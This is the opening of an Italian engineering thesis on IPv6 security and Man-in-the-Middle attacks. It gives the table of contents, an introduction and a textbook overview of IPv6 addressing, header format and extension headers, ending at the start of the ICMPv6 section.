Studio, analisi e valutazione della sicurezza su IPv6 e

Transcript

UNIVERSITÀ DELLA CALABRIA
Facoltà di Ingegneria
Corso di Laurea in Ingegneria Informatica
Dipartimento di Elettronica Informatica e Sistemistica
Studio, analisi e valutazione della
sicurezza su IPv6 e degli attacchi Man
in The Middle (MiTM)
Relatori :
Candidato:
Prof. Floriano DE RANGO
Rocco FOLINO
Matr: 109137
Ing. Antonio F. GENTILE
Anno Accademico 2011-2012
1
c 2012 Rocco Folino
Copyright È garantito il permesso di copiare, distribuire e/o modificare questo documento
seguendo i termini della GNU Free Documentation License, Versione 1.3 o
ogni versione successiva pubblicata dalla Free Software Foundation; una copia
della licenza è acclusa nella sezione intitolata ”GNU Free Documentation
License” (Appendice A).
Indice
1 Introduzione
1
2 IPv6
2.1 Introduzione . . . . . . . . . . . . . . . . . . . . .
2.2 Novità rispetto ad IPv4 . . . . . . . . . . . . . .
2.3 Indirizzamento . . . . . . . . . . . . . . . . . . .
2.3.1 Notazione degli indirizzi . . . . . . . . . .
2.3.2 Allocazione dello spazio di indirizzamento
2.3.2.1 Indirizzo unspecified . . . . . . .
2.3.2.2 Indirizzo loopback . . . . . . . .
2.3.2.3 Indirizzi unicast . . . . . . . . . .
2.3.2.4 Indirizzi multicast . . . . . . . .
2.3.2.5 Indirizzi anycast . . . . . . . . .
2.3.2.6 IPv6/IPv4 embedding . . . . . .
2.4 Formato dell’header . . . . . . . . . . . . . . . . .
2.4.1 Extension header . . . . . . . . . . . . . .
2.4.1.1 Hop-by-Hop Options . . . . . . .
2.4.1.2 Routing . . . . . . . . . . . . . .
2.4.1.3 Fragment . . . . . . . . . . . . .
2.4.1.4 Destination Options . . . . . . .
2.5 ICMPv6 . . . . . . . . . . . . . . . . . . . . . . .
2.5.1 Messaggi di errore . . . . . . . . . . . . .
2.5.1.1 Destination Unreachable . . . . .
2.5.1.2 Packet Too Big . . . . . . . . . .
i
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
3
3
4
5
6
7
8
8
8
10
12
13
14
16
17
18
20
21
21
21
21
23
INDICE
2.6
ii
2.5.1.3 Time Exceeded . . . . . . . . . . . .
2.5.1.4 Parameter Problem . . . . . . . . . .
2.5.2 Messaggi informativi . . . . . . . . . . . . . .
2.5.2.1 Echo Request e Echo Reply . . . . .
2.5.2.2 Router Advertisement . . . . . . . .
2.5.2.3 Router Solicitation . . . . . . . . . .
2.5.2.4 Neighbor Advertisement . . . . . . .
2.5.2.5 Neighbor Solicitation . . . . . . . . .
2.5.2.6 Redirect . . . . . . . . . . . . . . . .
Neighbor Discovery Protocol . . . . . . . . . . . . . .
2.6.1 Funzionamento . . . . . . . . . . . . . . . . .
2.6.1.1 Host-Router Discovery Function . . .
2.6.1.2 Host-Host Communication Function
2.6.1.3 Redirect Function . . . . . . . . . .
3 Attacchi Man in The Middle
3.1 Introduzione . . . . . . . . . . . . .
3.2 Attacchi Man in The Middle . . . .
3.2.1 NDP spoofing . . . . . . . .
3.2.2 SLAAC attack . . . . . . .
3.3 Conseguenze . . . . . . . . . . . . .
3.3.1 Hijacking . . . . . . . . . .
3.3.2 Injection . . . . . . . . . . .
3.3.3 Data tampering . . . . . . .
3.3.4 Sniffing . . . . . . . . . . .
3.3.5 DoS . . . . . . . . . . . . .
3.4 Contromisure . . . . . . . . . . . .
3.4.1 SEND . . . . . . . . . . . .
3.4.2 RA-Guard . . . . . . . . . .
3.4.2.1 RA-Guard evasion
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
24
25
26
26
28
30
31
32
34
35
35
35
36
37
.
.
.
.
.
.
.
.
.
.
.
.
.
.
38
38
39
39
41
42
42
43
43
43
43
44
44
44
44
4 Implementazione: mitm6
45
4.1 Introduzione . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
INDICE
4.2
4.3
4.4
iii
Librerie utilizzate . . . . . . . .
4.2.1 Pcap . . . . . . . . . . .
4.2.2 IPv6LIB . . . . . . . . .
Inizializzazione del programma .
Implementazione degli attacchi
4.4.1 NDP Spoofing . . . . . .
4.4.2 SLAAC Attack . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
5 Implementazione ambiente di test
5.1 Introduzione . . . . . . . . . . . . .
5.2 Strutturazione dell’ambiente di test
5.3 NDP Spoofing . . . . . . . . . . . .
5.4 SLAAC Attack . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
45
45
46
46
48
48
50
.
.
.
.
53
53
53
56
58
6 Conclusioni e sviluppi futuri
59
A GNU Free Documentation License
A.1 Applicability and definitions . . . . .
A.2 Verbatim copying . . . . . . . . . . .
A.3 Copying in quantity . . . . . . . . . .
A.4 Modifications . . . . . . . . . . . . .
A.5 Combining documents . . . . . . . .
A.6 Collections of documents . . . . . . .
A.7 Aggregation with independent works
A.8 Translation . . . . . . . . . . . . . .
A.9 Termination . . . . . . . . . . . . . .
A.10 Future revisions of this license . . . .
A.11 Relicensing . . . . . . . . . . . . . .
61
62
64
65
66
68
69
69
70
70
71
72
Bibliografia
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
74
Elenco delle figure
2.1
2.2
2.3
2.4
2.5
2.6
2.7
2.8
2.9
2.10
2.11
2.12
2.13
2.14
2.15
2.16
2.17
2.18
2.19
2.20
Indirizzo global unicast . . . . . . . . . . . . . .
Modified EUI-64 . . . . . . . . . . . . . . . . .
Indirizzo multicast . . . . . . . . . . . . . . . .
Indirizzi IPv4-Compatible . . . . . . . . . . . .
Indirizzi IPv4-Mapped . . . . . . . . . . . . . .
IPv6 Header . . . . . . . . . . . . . . . . . . . .
Extension headers . . . . . . . . . . . . . . . . .
Hop-by-Hop option extension header . . . . . .
Routing extension header . . . . . . . . . . . . .
Fragment extension header . . . . . . . . . . . .
ICMPv6 Destination Unreachable Message . . .
ICMPv6 Packet Too Big Message . . . . . . . .
ICMPv6 Time Exceeded Message . . . . . . . .
ICMPv6 Parameter Problem Message . . . . . .
ICMPv6 Echo Request and Echo Reply message
ICMPv6 Router Advertisement Message . . . .
ICMPv6 Router Solicitation Message . . . . . .
ICMPv6 Neighbor Advertisement Message . . .
ICMPv6 Neighbor Solicitation Message . . . . .
ICMPv6 Redirect Message . . . . . . . . . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
format
. . . .
. . . .
. . . .
. . . .
. . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
9
9
11
13
14
15
17
18
19
20
22
23
24
25
26
28
30
31
32
34
3.1
3.2
3.3
3.4
Attacco “Man In The Middle”
Scambio messaggi NS ed NA .
Attacco NDP Spoofing . . . .
Scambio messaggi RS ed RA .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
38
39
40
41
iv
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
ELENCO DELLE FIGURE
v
3.5
SLAAC Attack . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.1
5.2
5.3
5.4
5.5
5.6
5.7
5.8
5.9
Ambiente di test . . . . . . . . . . . . . . .
Configurazione macchina virtuale . . . . . .
Cache senza attaco . . . . . . . . . . . . . .
Pacchetti scambiati . . . . . . . . . . . . . .
Flow graph . . . . . . . . . . . . . . . . . .
Cache con attaco . . . . . . . . . . . . . . .
Router Advertisement ricevuti . . . . . . . .
Router Advertisement inviati dall’attaccante
tabella di routing della vittima . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
54
54
56
56
57
57
58
58
58
Elenco delle tabelle
2.1
2.2
2.3
2.4
2.5
Allocazione dello spazio di indirizzamento . . . . . . . . . . .
ICMPv6 Unreachable Message Subtypes . . . . . . . . . . . .
ICMPv6 Parameter Problem Message Subtypes . . . . . . . .
ICMPv6 Router Advertisement Message Autoconfiguration Flags
ICMPv6 Neighbor Advertisement Message Flags . . . . . . . .
vi
7
23
26
29
32
Capitolo 1
Introduzione
La nascita di IPv6 risale al lontano 1998. Osservando il rapido esaurimento
degli indirizzi IPv4, la IETF, Internet Engineering Task Force, ha incominciato a implementare una nuova versione dell’Internet Protocol [4]. Rispetto ad IPv4, IPv6 mette a disposizione uno spazio infinitamente maggiore e
strutturato gerarchicamente per l’indirizzamento. Inoltre, benché supporti
in maniera ottimale gli indirizzi non unicast, sia qualificato da un nuovo formato dell’header e caratterizzato da altri elementi positivi, presenta gravi
vulnerabiltà.
Questa tesi scaturisce dall’idea di affrontare e studiare dette falle di sicurezza, le quali costituiscono un problema non indifferente, ulteriormente aggravato dalla transizione, attualmente in corso, da IPv4 al nuovo protocollo. (Dal 6 giugno 2012, IPv6 risulta abilitato in modo permanente dai
maggiori ISP e grandi aziende come Google, Amazon, Cisco Systems -cfr.
www.worldipv6launch.org -). Nel secondo capitolo si provvede a tracciare
una panoramica complessiva e dettagliata delle caratteristiche e punti chiave
di IPv6. Il successivo, invece, verte intorno agli attacchi di tipo Man in The
Middle (o in forma acronima MiTM) per le reti IPv6. In particolare, viene
esposta la modalità con cui è estremamente facile attuare questa tipologia
di attacchi, dirottando il traffico della comunicazione tra due host verso un
terzo, senza che questo se ne accorga.
Il quarto capitolo ha come finalità la descrizione del processo implementa-
1
CAPITOLO 1. INTRODUZIONE
2
tivo che ha condotto alla definizione di mitm6, un programma scritto in
linguaggio C, su OS Linux, rilasciato sotto licenza GPLv3, compatibile, al
momento, solo con sistemi operativi analoghi. Si trattano, in questo contesto,
le particolarità esecutive di NDP Spoofing e SLAAC Attack. La costruzione
dell’ambiente di test, adoperando VirtualBox, costituisce il fulcro dell’ultimo
capitolo. Nello stesso si descrivono le modalità di esecuzione degli attacchi NDP Spoofing e SLAAC Attack ad opera di mitm6, fornendo, infine,
rappresentazioni grafiche esplicative dei risultati conseguiti.
Capitolo 2
IPv6
2.1
Introduzione
Era il 1981 quando i primi pacchetti cominciarono a essere trasmessi via
internet utilizzando la versione 4 dell’internet protocol (IPv4) [RFC 791]. Nel
1998, osservando il rapido esaurimento degli indirizzi IPv4, la IETF, Internet
Engineering Task Force, (www.ietf.org) ha incominciato a implementare una
nuova versione dell’Internet Protocol: IPv6 [4].
Perché IPv6 e non IPv5?
Il motivo risiede nel fatto che la versione 5 si riferisce ad un protocollo
sperimentale chiamato Internet Stream Protocol che non è stato mai
ampiamente diffuso.
Rispetto ad IPv4, IPv6 mette a disposizione 128 bit per l’indirizzamento, questo significa che gestisce 2128 (circa 3, 4 · 1038 ) indirizzi. Il problema
dell’indirizzamento costituisce, dunque, una delle principali motivazioni che
ha indotto lo sviluppo dell’IPv6, benché non unico. Infatti, rispetto alla versione precedente, sono state apportate ulteriori migliorie (trattate nel paragrafo 2.2) tese ad una maggiore robustezza del protocollo. Unitamente a
IPv6, sono stati introdotti altri due protocolli, il supporto alla versione 6 per
il Control Message Protocol (ICMPv6) [RFC 2463] e il Neighbor Discovery
3
CAPITOLO 2. IPV6
4
Protocol (ND) [RFC 2461].
Le immagini riprodotte nel capitolo in oggetto sono tratte da www.tcpipguide.com.
2.2
Novità rispetto ad IPv4
Ampio spazio di indirizzamento
Lo spazio di indirizzamento è aumentato notevolmente, infatti gli indirizzi
IPv6 hanno a disposizione 128 bit a differenza di quelli IPv4 che ne hanno
32. Lo spazio di indirizzamento viene espanso, dunque, da circa 4 miliardi di
indirizzi ad un numero astronomico, oltre 300 trilioni di trilioni di trilioni di
indirizzi.
Spazio di indirizzamento gerarchico
La strutturazione gerarchica dello spazio di indirizzamento comporta una
moltitudine di classi di indirizzi.
Assegnamento gerarchico degli indirizzi unicast
È stato creato un indirizzo unicast globale che, oltre a facilitare l’allocazione
degli indirizzi nell’intera Internet, permette multipli livelli gerarchici di reti e
sottoreti e la generazione dell’indirizzo IP basato sull’indirizzo dell’interfaccia del dispositivo hardware, come l’indirizzo MAC nelle reti Ethernet.
Migliore supporto per gli indirizzi non unicast
Ottimizzato notevolmente il supporto al multicasting. È stata introdotta
una nuova classe di indirizzamento, anycast, che consente l’invio del messaggio al più vicino (dal punto di vista della raggiungibilità) membro del gruppo.
Nuovo formato dell’header
Il formato dell’header è stato ridefinito con l’aggiunta di nuove funzionalità.
L’header principale del datagramma IP è stato ridimensionato, infatti consta
8 campi a confronto dei 12 campi dell’IPv4. Inoltre è possibile estendere facilmente l’header attraverso uno o più Extension Header in cascata.
CAPITOLO 2. IPV6
5
Supporto per il QoS
Sono state aggiunte caratteristiche per la gestione del Quality of Service
(QoS).
Sicurezza
Migliore supporto alla sicurezza rispetto ad IPv4 usando due extension header: authentication e encryption.
Aggiornate le procedure di frammentazione e riassemblamento
Il modo in cui i datagrammi vengono frammentati e riassemblati è cambiato.
Questo ha portato ad una maggiore efficienza nel routing.
Inoltre, molti altri procolli dello stack TCP/IP sono stati aggiornati. Uno
di questi è l’ICMP, che è stato rivisto per IPv6 con la creazione dell’ICMPv6. Un nuovo protocollo è stato introdotto come sostituto del più che noto
Address Resolution Protocol (ARP), il Neighbor Discovery Protocol (ND
Protocol).
2.3
Indirizzamento
Rappresenta la sezione dell’IPv6 che ha subito maggiori modifiche; tra queste
la più rilevante rimanda all’ampliamento dello spazio di indirizzamento, che
passa da circa 4 miliardi (32 bit) di elementi (in IPv4) a più di 300 trilioni
di trilioni di trilioni (128 bit). Variazioni significative sono state apportate
anche alla tipologia degli indirizzi supportati, le quali hanno comportato,
tra l’altro, la rimozione della classe broadcast e l’introduzione di una nuova
denominata anycast. In sintesi risultano supportate le tipologie unicast,
multicast, anycast; le prime due individuano, rispettivamente, una singola interfaccia e un gruppo di interfacce, analogamente a quanto accadeva
per IPv4, mentre la rimanente, pur identificando un gruppo di interfacce, è
strutturata in maniera tale che i pacchetti vengano recapitati al membro del
gruppo più vicino.
CAPITOLO 2. IPV6
2.3.1
6
Notazione degli indirizzi
A differenza di IPv4, dove gli indirizzi venivano espressi utilizzando una notazione decimale, in IPv6 gli indirizzi vengono determinati impiegando una
notazione esadecimale. In particolare, gli indirizzi sono suddivisi in otto
gruppi, ciascuno dei quali composto da quattro cifre, separati da colonne:
805b:2d9d:cd28:0000:0000:fc57:d4c8:1fff
Oppure può essere riscritto in modo più compatto:
805b:2d9d:cd28:0:0:fc57:d4c8:1fff
Questa notazione viene chiamata colon hexadecimal notation.
Al fine di rendere l’indirizzo IPv6 più breve, pertanto più semplice da
ricordare, si ricorre a una tecnica nota come zero-compression, la quale permette di sostituire stringhe di zeri con due colonne. Si fornisce, come esempio,
la riscrittura secondo tale indicazione del precedente indirizzo:
805b:2d9d:cd28::fc57:d4c8:1fff
La doppia colonna (::), all’interno dell’indirizzo, può apparire solamente
una volta, allo scopo di prevenire ambiguità in quanto, diversamente, non
sarebbe possibile sapere il numero esatto di zeri corrispondenti a ogni doppia
colonna.
In aggiunta alle due notazioni sopracitate ne esiste un’altra, usata in alcuni
casi specifici, chiamata mixed notation, impiegata per inserire, all’interno di
un indirizzo IPv6, un indirizzo IPv4 espresso in dotted notation, negli ultimi
32 bit:
0:0:0:0:0:0:192.168.0.1
o anche:
::192.168.0.1
CAPITOLO 2. IPV6
7
Infine, come per gli indirizzi IPv4 classless, un indirizzo IPv6 è diviso in
Network-ID e Host-ID. Il numero di bit usati dal primo è chiamato prefix
length e viene rappresentato aggiungendo, alla fine dell’indirizzo, uno slash
(/) seguito dal numero di bit (prefix length):
805b:2d9d:cd28::fc57:d4c8:1fff/48
Tale sistema fa riferimento a quello utilizzato per gli indirizzi IPv4 classless con la notazione CIDR.
2.3.2
Allocazione dello spazio di indirizzamento
L’allocazione degli indirizzi IPv6 avviene in base alla loro tipologia. Il tipo di
indirizzo viene indicato dai bit più significativi come esplicato dalla tabella
sottostante.
Address Type
Unspecified
Loopback
Multicast
Link-local unicast
Site-local unicast
Global unicast
Binary Prefix
00...0 (128 bits)
00...1 (128 bits)
11111111
1111111010
1111111011
(everything else)
IPv6 Notation
::/128
::1/128
FF00::/8
FE80/10
FEC0/10
–
Tabella 2.1: Allocazione dello spazio di indirizzamento
Per gli indirizzi anycast viene utilizzato lo spazio degli indirizzi unicast.
Attualmente l’allocazione degli indirizzi unicast viene limitata al range di
indirizzi che iniziano con il valore binario 001, dunque, solamente il 14% dello spazio di indirizzamento unicast è stato allocato, il restante 86% (oltre
trilioni di trilioni di indirizzi) è stato messo da parte per usi futuri.
Per ulteriori dettagli riguardo all’allocazione dello spazio di indirizzamento
si faccia riferimento alla RFC 3513 [9].
CAPITOLO 2. IPV6
2.3.2.1
8
Indirizzo unspecified
Rappresenta un indirizzo con tutti i bit posti a zero (0:0:0:0:0:0:0:0 o anche ::).
Generalmente viene adoperato quando un dispositivo non conosce il proprio
indirizzo IP e ne richiede la configurazione.
2.3.2.2
Indirizzo loopback
Come per IPv4, in IPv6 è presente l’indirizzo di loopbak utilizzato per effettuare test sulle interfacce. Quando viene inviato un pacchetto che ha come
indirizzo di destinazione questo particolare indirizzo, il pacchetto viene ritornato (proprio dal nome “loop back”) al dispositivo che l’ha inviato. In IPv6
questo indirizzo è espresso ponendo tutti i bit a 0 tranne il bit 127-esimo,
posto a 1:
0:0:0:0:0:0:0:1 o anche ::1
2.3.2.3
Indirizzi unicast
Gli indirizzi unicast sono utilizzati per inviare i pacchetti ad una singola
interfaccia.
Generalmente i 128 bit di un generico indirizzo unicast sono suddivisi in tre
parti:
• Prefix (n bit): identifica un sito complesso (un cluster di reti);
• Subnet ID (m bit): identifica una specifica sottorete all’interno di un
sito;
• Interface ID (128-n-m bit): identifica un’interfaccia fisica in una
subnet;
Nella RFC 3515 [9] vengono definite diverse tipologie di indirizzi unicast,
in particolare global unicast, site-local unicast, link-local unicast.
Global Unicast
La suddivisione dell’indirizzo global unicast non cambia rispetto a quella di
CAPITOLO 2. IPV6
9
un indirizzo unicast generico.
Figura 2.1: Indirizzo global unicast
Sebbene, in teoria, n ed m possono assumere qualsivoglia valore, le implementazioni scelte per IPv6, generalmente, assegnano 48 bit al global routing
prefix, 16 bit al subnet id e, infine, 64 bit per l’interface id che deve assumere un valore univoco. Esso può essere specificato manualmente oppure
può essere ricavato a partire dall’indirizzo fisico utilizzando il formato Modified EUI-64.
Figura 2.2: Modified EUI-64
CAPITOLO 2. IPV6
10
Site-Local unicast
Questa tipologia di indirizzi viene utilizzata solamente all’interno dei siti (intranet). I router hanno il compito di instradare i pacchetti con questo tipo
di indirizzi solamente all’interno del sito. I primi 10 bit possono assumere un
valore tra 3FB0, 3FC0, 3FD0, 3FE0 mentre i successivi 54 bit corrispondono
al subnet id ed infine l’interface id si compone di 64 bit.
Link-Local unicast
Sono indirizzi utilizzati per operazioni come il neighbor discovery, l’autoconfigurazione o quando non sono presenti router. Possono essere impiegati
solamente su un singolo link (rete locale) e i router non instradano i pacchetti
che hanno un indirizzo Link-Local. I primi 10 bit possono assumere un valore
tra FE80, FE90, FEA0, FEB0 mentre i successivi 54 bit, che corrispondono
al subnet id, sono posti a zero ed infine l’interface id risulta costituito da 64
bit.
2.3.2.4
Indirizzi multicast
Gli indirizzi multicast sono impiegati per inviare i pacchetti a un gruppo di
interfacce. Un indirizzo multicast ha il seguente formato:
CAPITOLO 2. IPV6
11
Figura 2.3: Indirizzo multicast
I primi 8 bit sono settati a 1 e sono rappresentativi di un indirizzo multicast.
I primi 3 bit dei flag sono riservati e posti a 0. L’ultimo bit, invece, se
pari ad 1, identifica un indirizzo multicast assegnato permanentemente (wellknown) dalla IANA (Internet Assigned Number Authority), diversamente, un
indirizzo unicast non permanentemente assegnato (transient). Attraverso il
campo Scope ID, si delimita l’ambito di applicazione del gruppo multicast.
Tale campo può assumere i seguenti valori:
• 1 = reserved
• 2 = interface-local scope
• 3 = link-local scope
• 4 = riservato
• 5 = admin-local scope
• 6 = site-local scope
• 7 = non assegnato
• 8 = non assegnato
CAPITOLO 2. IPV6
12
• 9 = organization-local scope
• A = non assegnato
• B = non assegnato
• C = non assegnato
• D = non assegnato
• E = global scope
• F = riservato
Gli scope link-local, site-local e global hanno lo stesso significato dei
rispettivi unicast. L’interface-local scope viene utilizzato per le trasmissioni multicast su loopback, l’admin-local scope ha una portata molto piccola
e deve essere amministrativamente configurato, l’organization-local scope è
pensato per coprire diversi siti di una stessa organizzazione e, infine, gli scope
appellati come “non assegnati” sono disponibili per definire nuovi gruppi
multicast da parte degli amministratori di rete.
Il group ID identifica il gruppo multicast.
2.3.2.5
Indirizzi anycast
Un indirizzo anycast, analogamente a quanto avviene per il multicast, è assegnato a più di una interfaccia. Quando un router processa un pacchetto
che ha come destinazione proprio un indirizzo anycast, lo invia al membro
del gruppo più vicino (in termini di raggiungibilità).
Gli indirizzi anycast non hanno allocato un loro spazio, ma si rifannno
a quello degli indirizzi unicast, quindi, come si fa a capire se un indirizzo
è unicast o anycast? Semplicemente, quando un indirizzo multicast viene
assegnato a più di una interfaccia diventa anycast.
L’RFC 3513 [9] specifica delle limitazioni nell’uso degli indirizzi anycast:
• un indirizzo anycast non deve essere utilizzato come indirizzo sorgente
in un pacchetto IPv6;
CAPITOLO 2. IPV6
13
• un indirizzo anycast non deve essere assegnato ad un host IPv6, può
essere assegnato solamente a un router;
Queste restrizioni sono dovute al fatto che la tipologia degli indirizzi
anycast è relativamente nuova, quindi, si ha poca esperienza con essa.
2.3.2.6
IPv6/IPv4 embedding
Il protocollo IPv6 non può subentrare direttamente ad IPv4, dunque, è necessario un periodo di transizione (del quale si ignora la durata) in cui i due
protocolli devono convivere. Per rendere questo meccanismo di transizione
e il periodo di coesistenza il più indolore possibile, è stato necessario incorporare all’interno di un indirizzo IPv6, un indirizzo IPv4. Lo spazio allocato
da questa tipologia di indirizzi prende una parte del blocco riservato, ovvero
tutti quegli indirizzi che hanno i primi otto bit a zero.
Ne vengono specificati due formati: indirizzi IPv4-Compatible e indirizzi
IPv4-Mapped.
IPv4-Compatible
Questi speciali indirizzi vengono assegnati ai dispositivi dual-stack, che sono
abilitati, cioè, a lavorare sia con IPv4 che con IPv6. Essi sono formati da 96
bit posti a zero seguiti dai 32 bit finali che contengono l’indirizzo IPv4.
Figura 2.4: Indirizzi IPv4-Compatible
CAPITOLO 2. IPV6
14
IPv4-Mapped
Questi sono regolari indirizzi IPv4 che sono mappati nello spazio di indirizzamento IPv6. Vengono utilizzati per i dispositivi che lavorano solamente
con IPv4. Essi hanno i primi 80 bit settati a zero seguiti da 16 bit posti a
uno. Nei 32 bit finali risiede l’indirizzo IPv4.
Figura 2.5: Indirizzi IPv4-Mapped
2.4
Formato dell’header
Il datagramma IPv6 è composto da un header principale, con lunghezza fissa
di 40 byte ed eventualmente uno o più exstension header, seguiti dal payload.
L’header contiene le informazioni di base per il processamento e il routing
del datagramma, mentre le altre sono inglobate negli exstension header.
CAPITOLO 2. IPV6
15
Figura 2.6: IPv6 Header
Di seguito si allegano i campi costituenti l’header IPv6:
• Version (4 bit), identifica la versione del protocollo IP in uso, con
valore sempre pari a sei.
• Traffic Class (8 bit), sostituisce il campo Type of Service (TOS)
dell’header IPv4, rimandando ai nuovi Differentiated Services (DS)
definititi nella RFC 2474.
• Flow Label (20 bit), utilizzato per i datagrammi real-time e per il
QoS. Il concetto di flusso, cosı̀ come definito nell’RFC 2460 [4], rappresenta una sequenza di datagrammi inviati da un dispositivo sorgente ad
uno o più dispositivi di destinazione. Per identificare i datagrammi che
appartengono ad un determinato flusso viene usato un valore univoco
del flow label.
• Payload Length (16 bit), indica il numero di byte del payload.
CAPITOLO 2. IPV6
16
• Next Header (8 bit), ha due usi: se il datagramma ha uno o più
extension header, identifica il primo extension header, altimenti, indica
il protocollo del livello superiore.
• Hop Limit (8 bit), sostituisce il campo Time To Live (TTL) del
datagramma IPv4.
• Source Address (128 bit), rappresenta il dispositivo che originariamente
ha inviato il datagramma.
• Destination Address (128 bit), costituisce la destinazione finale a
cui deve essere recapitato il datagramma.
2.4.1
Extension header
Una delle novità più importanti presenti nel datagramma IPv6 è il campo
Next Header. Quando un datagramma IPv6 usa gli extension header, il
campo next header contiene il codice identificativo del primo extension header
che, a sua volta, impiega un altro campo next header, il quale punta al
successivo e cosı̀ via. L’ultimo extension header punta al protocollo del livello
superiore.
CAPITOLO 2. IPV6
17
Figura 2.7: Extension headers
L’RFC 2460 [4] specifica sette Extension Header.
2.4.1.1
Hop-by-Hop Options
Contiene informazioni opzionali che devono essere esaminate da ogni nodo
(router) tra la sorgente e la destinazione.
CAPITOLO 2. IPV6
18
Figura 2.8: Hop-by-Hop option extension header
Ha il seguente formato:
• Next Header (8 bit), indica il tipo di header che segue.
• Header Extension Length (8 bit), esplicita la lunghezza dell’extension header.
• Options (variabile), contiene uno o più opzioni in TLV-encoded.
2.4.1.2
Routing
Viene adoperato per specificare una serie di router attraverso cui il datagramma deve passare nel cammino verso la destinazione.
CAPITOLO 2. IPV6
19
Figura 2.9: Routing extension header
Risulta composto da:
• Header Extension Length (8 bit), quantifica la lunghezza dell’extension header.
• Routing Type (8 bit), permette di specificare diverse tipologie di
routing (al momento è utilizzato solamente il tipo zero).
• Segments Left (8 bit), specifica il numero dei nodi espicitamente
definiti che rimangono nel cammino.
• Reserver (32 bit), non viene utilizzato ed è posto a zero.
• Address1, ..., AddressN (variabile; multiplo di 16), rappresenta
un vettore di N indirizzi IPv6.
CAPITOLO 2. IPV6
2.4.1.3
20
Fragment
Il seguente extension header viene incluso unicamente nei datagrammi frammentati. Esso contiene informazioni necessarie al riassemblamento di tutti i
frammenti.
Figura 2.10: Fragment extension header
È caratterizzato dal seguente formato:
• Reserved (8 bit), non viene usato ed è posto a zero.
• Fragments Offset (13 bit), contiene l’offset, ovvero la posizione del
frammento all’interno del datagramma originale.
• Reserved (2 bit), non viene usato ed è posto a zero.
• More Fragments (1 bit), se posto a 1 indica la presenza di altri
frammenti.
• Identification (32 bit), viene usato per identificare il datagramma
di appartenenza del frammento, al fine di precludere la possibilità che
frammenti di due datagrammi diversi vengano confusi.
CAPITOLO 2. IPV6
2.4.1.4
21
Destination Options
Contiene le opzioni utilizzate solamente dal destinatario del datagramma.
I campi sono analoghi a quelli propri dell’Hop-by-Hop Options extension
header.
2.5
ICMPv6
Con la nascita di IPv6, considerate le sostanziali differenze con IPv4, è stato
necessario caratterizzare una nuova versione per l’Internet Control Message
Protocol. La versione 6, descritta nella RFC 2463 [7], definisce una serie
di messaggi che possono essere divisi in due categorie: messaggi di errore e
messaggi informativi.
2.5.1
Messaggi di errore
